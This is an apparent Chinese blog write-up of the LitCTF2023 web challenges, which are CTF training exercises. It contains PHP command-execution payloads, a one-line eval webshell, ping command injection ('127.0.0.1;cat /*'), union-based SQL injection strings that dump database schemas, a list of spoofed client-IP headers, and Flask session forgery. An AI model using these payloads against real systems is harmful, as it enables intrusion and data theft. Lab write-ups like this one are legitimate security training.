[LitCTF2023] web方向全题解wp

LitCTF2023

我Flag呢?

签到题,f12获取flag

这里注意看一下源代码,有彩蛋
在这里插入图片描述

先留着

LitCTF{First_t0_The_k3y! (1/?) 

导弹迷踪

前端js小游戏

开调试器进行代码审计

可知当游戏进入finished状态的时候会得到flag,可以直接找到

在这里插入图片描述

Follow me and hack me

传参题,按照要求传参直接出

在这里插入图片描述

CTF=Lit2023
Post:Challenge = i'm_c0m1ng

传入得到flag,然后提示备份文件还有好恰的,备份文件无非几种,直接访问www.zip

在这里插入图片描述

下载压缩包,压缩包里有index.php.bak文件,打开

在这里插入图片描述

获得第三个彩蛋

在这里插入图片描述

_R3ady_Pl4yer_000ne_ (3/?)

PHP是世界上最好的语言!!

看文本框是进行代码执行,直接在右边构造payload:

system("ls /");

在这里插入图片描述

然后cat /f*得到flag

在这里插入图片描述

Vim yyds

利用dirsearch扫描网站

dirsearch.py -u http://node5.anna.nssctf.cn:28266/

扫描结果如下:

在这里插入图片描述

Vim缓存泄露,输入如扫描结果,访问/.index.php.swp会下载该文件

在这里插入图片描述

整理后代码如下,仔细看前面的代码php短标签是反着来,所以要整理下:

<?php
error_reporting(0);
$password = "Give_Me_Your_Flag"; 
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)){
	echo "<p>Oh You got my password!</p>"
        eval(system($_POST['cmd'])); 
}
?>

说明我们要传入password变量,使其值base64加密后的Give_Me_Your_Flag

构造payload:

POST
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=

在这里插入图片描述

You got password!

接下来post传入cmd变量进行rce就可以得到flag

cmd=ls /
cmd=cat /f*

作业管理系统

在这里插入图片描述

f12有hint,默认账户和密码都是admin

这道题一眼就知道有好多种写法,文件上传一种,文件创建一种,这里用的是文件创建
在这里插入图片描述

创建文件名为flag.php

在这里插入图片描述

然后编辑文件,内容就是基本的文件上传漏洞的内容

<?php
@eval($_POST["Leaf"]);
?>

在这里插入图片描述

然后点保存,接下来返回开始的界面去访问该文件

http://node5.anna.nssctf.cn:28807/flag.php

存在说明已经创建成功,接下来可以选择RCE或者蚁剑连接,我选的用蚁剑连接

在这里插入图片描述

连接成功,在根目录下得到flag

Ping

ping命令考察,先输入127.0.1试试水,可以有回显

在这里插入图片描述

然后构造payload扫描根目录:

127.0.0.1|ls;

在这里插入图片描述

这里多试了几次管道符,猜测是前端检测,利用burp抓包然后改包

通过抓包改变ping命令

127.0.0.1;ls

获得到根目录下文件

在这里插入图片描述

然后构造payload获得flag

127.0.0.1;cat /*

在这里插入图片描述

这是什么?SQL !注一下 !

已经告诉你闭合方式了,直接开注!

先判断显示位,payload:

-1)))))) union select 1,2#

在这里插入图片描述

爆库:

1)))))) and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata#

得到库名

information_schema,mysql,ctftraining,performance_schema,test,ctf

爆表:

1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema="ctf"

得到表名:

users

爆列:

1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name="users"#

得到列名:

id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

获取值:

1)))))) and 1=2 union select 1,group_concat(password) from ctf.users

获得彩蛋(难蚌):

OHHHHHHH,F1rst_to_Th3_eggggggggg!} 

重新爆表:

1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema="ctftraining"#

得到表明:

flag,news,users

重新爆列:

1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name="flag"#

获得列名:

flag

重新获取值:

1)))))) and 1=2 union select 1,group_concat(flag) from ctftraining.flag#

彩蛋

我们通过前面的题已经得到了4个彩蛋,组合一下

LitCTF{First_t0_The_k3y! (1/?)

_S0_ne3t? (2/?)

_R3ady_Pl4yer_000ne_ (3/?)

F1rst_to_Th3_eggggggggg!}

组合获得flag:

NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

Http pro max plus

postman杀穿了()

在这里插入图片描述

显示只允许本地访问,第一反应就是伪造X-Forwarded-For头,但是被嘲讽了

在这里插入图片描述

于是又试了好多东西,我直接一并列出来了

X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Requested-With: 127.0.0.1
X-Forwarded-Proto: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

最后发现能用的是Client-IP

在这里插入图片描述

?我怕这名字不过审,我直接伪造Referer为这个网站了

在这里插入图片描述

然后回显要用Chrome浏览器,伪造User-Agent为Chrome

在这里插入图片描述

这个找了好久,最后发现是伪造Via

在这里插入图片描述

在这里插入图片描述

OK,借一部说话,去访问wtfwtfwtfwtf.php文件

得到源码

<html>
<title>你说得对,but where is flag?</title>

<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>

<body>
	<a href="https://doc.miyun.app/app/clash-win/">
		The first step-----><button>click me to get Clash!</button>
	</a>
</body>

<body>
		//网站被我删了
		The second step-----><button>open your eyes on pornhub️</button>
	</a>
</body>

<body>
	<a href="./jiege.jpg">
		The 3rd step-----><button>that is what you want: 色图.jpg</button>
	</a>
</body>
<!--你就冲吧,什么都冲只会害了你自己 bdy好康的在 /sejishikong.php-->

</html>

可以看到有hint,再访问 /sejishikong.php得到flag

就当无事发生

给了个GitHub项目的链接

在这里插入图片描述

https://ProbiusOfficial.github.io

后来听佬说是社工题,我也没照,直接贴链接

https://github.com/ProbiusOfficial/ProbiusOfficial.github.io/commit/f04fe251bf8811324d4e71cd87b4b15581358490#diff-1474f5fa679c8ac3ff897f022f78e6d753c107596c85a05c06a7466478a3f43

然后在flag是什么呢里面可以找到flag

在这里插入图片描述

1zjs

魔方小游戏,一开始不信是代码审计,所以就用dirsearch扫了扫(没啥用)

在这里插入图片描述

那就审呗,看源代码得到hint,进入f@k3f1ag.php文件

在这里插入图片描述

得到一段jsfuck解密(md,看的我眼花),控制台跑一下,得到flag

在这里插入图片描述

Flag点击就送!

一开始没什么思路,就先用dirsearch扫了扫
在这里插入图片描述

没有扫出来什么东西,然后就随便看,看到了有session

在这里插入图片描述

猜测是session伪造,但是要是想进行session伪造就要先知道secret_key,由于没有明显提示secret_key只能猜,联想比赛题目,是LitCTF,利用flask_session_cookie_manager3进行session伪造,先验证正确性:

在这里插入图片描述

decode解密成功,然后接下来就进行session伪造

在这里插入图片描述

把伪造好的session利用burp抓包然后修改

eyJuYW1lIjoiYWRtaW4ifQ.ZGCq-A.8H9RmjSBHw5uvGpprkWTXFFcxlE

在这里插入图片描述

得到flag
关于session伪造具体可以看[HDCTF2023] NSSweb方向题解的YamiYami

  • 7
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值